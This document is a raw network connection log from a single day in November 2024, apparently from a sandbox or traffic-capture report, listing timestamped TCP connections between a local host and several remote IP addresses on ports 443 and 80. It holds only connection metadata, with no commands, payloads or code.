Nov 23, 2024 20:23:22.352395058 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.355786085 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.357835054 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.365802050 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.365811110 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.366379023 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.366383076 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.367264986 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.367280960 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.367697954 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.367706060 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.367993116 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.368007898 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.368447065 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.368452072 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.484529972 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.504872084 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.504884005 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.505400896 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.505407095 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.795285940 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.795355082 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.795428038 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.795684099 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.795684099 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.795695066 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.795702934 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.799454927 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.799530983 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.799575090 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.799801111 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.799812078 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.799825907 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.799833059 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.799983978 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.800050020 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.800117970 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.800132036 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.800293922 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.800365925 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.800821066 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.800858974 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.800945997 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.800961971 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.800971985 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.800976038 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.802860022 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.802881002 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.802944899 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.803123951 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.803141117 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.804627895 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.804655075 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.804868937 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.804958105 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.804980040 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.942152977 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.942255974 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.942481995 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.942589045 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.942598104 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.942610025 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.942615032 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.945435047 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.945463896 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.945544004 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.945703030 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:22.945714951 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:22.998853922 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:23.001846075 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:23.001863956 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:23.002291918 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:23.002296925 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:23.040662050 CET	443	49790	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:23.040935993 CET	443	49790	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:23.041009903 CET	49790	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:23.041009903 CET	49790	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:23.153666019 CET	49800	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:23.153702021 CET	443	49800	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:23.153819084 CET	49800	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:23.154284000 CET	49800	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:23.154301882 CET	443	49800	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:23.436587095 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:23.436742067 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:23.436808109 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:23.436948061 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:23.436964035 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:23.440654039 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:23.440680027 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:23.440742970 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:23.441040993 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:23.441054106 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:23.683875084 CET	49776	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:23.684185982 CET	49802	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:23.806914091 CET	80	49802	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:23.807075024 CET	80	49776	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:23.807168961 CET	49776	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:23.807209015 CET	49802	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:23.807353020 CET	49802	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:23.933643103 CET	80	49802	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:24.436650991 CET	443	49800	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:24.436748981 CET	49800	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:24.438122034 CET	49800	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:24.438134909 CET	443	49800	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:24.438463926 CET	443	49800	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:24.440139055 CET	49800	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:24.440278053 CET	49800	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:24.440327883 CET	443	49800	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:24.625614882 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.629170895 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.681149960 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.681149960 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.695852041 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.743549109 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.744493961 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.753813028 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.753824949 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.754393101 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.754396915 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.754914999 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.754945993 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.755434036 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.755449057 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.755736113 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.755747080 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.756165981 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.756175995 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.756778955 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.756783962 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:24.759320021 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:24.759324074 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.089334011 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.089410067 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.089473963 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.089541912 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.089591980 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.093512058 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.100907087 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.100944042 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.100971937 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.100989103 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.102158070 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.102181911 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.102212906 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.102222919 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.104645014 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.104670048 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.104732990 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.104995012 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.105009079 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.106184006 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.106277943 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.106372118 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.106503963 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.106566906 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.158322096 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.158468962 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.158524990 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.159039021 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.159049988 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.159060955 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.159065008 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.161664963 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.161700964 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.161788940 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.162110090 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.162122965 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.199951887 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.199994087 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.200048923 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.200181007 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.200186968 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.200196028 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.200198889 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.201956034 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.202002048 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.202219963 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.202366114 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.202428102 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.255438089 CET	80	49802	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:25.255522013 CET	49802	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:25.260435104 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:25.260693073 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:25.295238972 CET	443	49800	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:25.295540094 CET	443	49800	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:25.295593977 CET	49800	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:25.295680046 CET	49800	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:25.295697927 CET	443	49800	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:25.298492908 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.298878908 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.298890114 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.299366951 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.299372911 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.385201931 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:25.385271072 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:25.385366917 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:25.385417938 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:25.411348104 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:25.535067081 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:25.539397955 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:25.539444923 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:25.539535999 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:25.539849043 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:25.539861917 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:25.812289953 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.812453985 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.812536955 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.812913895 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.812913895 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.812927961 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.812936068 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.815670013 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.815692902 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:25.815906048 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.816112995 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:25.816131115 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.679032087 CET	49810	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:26.737909079 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738051891 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738085032 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738138914 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738174915 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738209009 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738234997 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.738266945 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.738301992 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738333941 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738354921 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.738384008 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.738409996 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738455057 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.738468885 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.738498926 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.776702881 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:26.776802063 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:26.778029919 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:26.778037071 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:26.778831005 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:26.782581091 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:26.782685041 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:26.782721043 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:26.785546064 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:26.785552979 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:26.788403988 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.788800955 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:26.788825035 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.789294004 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:26.789308071 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.803971052 CET	80	49810	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:26.805562973 CET	49810	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:26.805780888 CET	49810	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:26.863821030 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.864541054 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:26.864569902 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.865108013 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:26.865115881 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.866733074 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.866770029 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.866838932 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.869349957 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.869532108 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.929918051 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.930043936 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.930114031 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.934216022 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.934271097 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.934421062 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.939491987 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.940908909 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.940994978 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.941052914 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.941343069 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:26.941355944 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.941373110 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.941765070 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:26.941770077 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:26.949573994 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.949846983 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.949908972 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.958301067 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.958354950 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.958415031 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.966893911 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.967029095 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.967086077 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.975578070 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.975673914 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.975728989 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:26.984287977 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.984343052 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:26.984409094 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.056864977 CET	80	49810	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:27.056925058 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.057065964 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.057090998 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.057132959 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.061227083 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.061330080 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.061620951 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.065478086 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.069899082 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.069976091 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.070010900 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.070030928 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.070071936 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.070450068 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.070461988 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.078548908 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.081543922 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.123500109 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.123573065 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.123671055 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.127840042 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.129424095 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.129519939 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.129568100 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.133539915 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.138209105 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.138245106 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.138319016 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.144831896 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.144869089 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.144947052 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.153482914 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.153573036 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.153633118 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.162163973 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.162199974 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.162276983 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.170825005 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.170944929 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.171010971 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.179590940 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.179694891 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.179763079 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.190728903 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.190764904 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.190829039 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.196856976 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.196980953 CET	80	49807	185.215.113.16	192.168.2.4
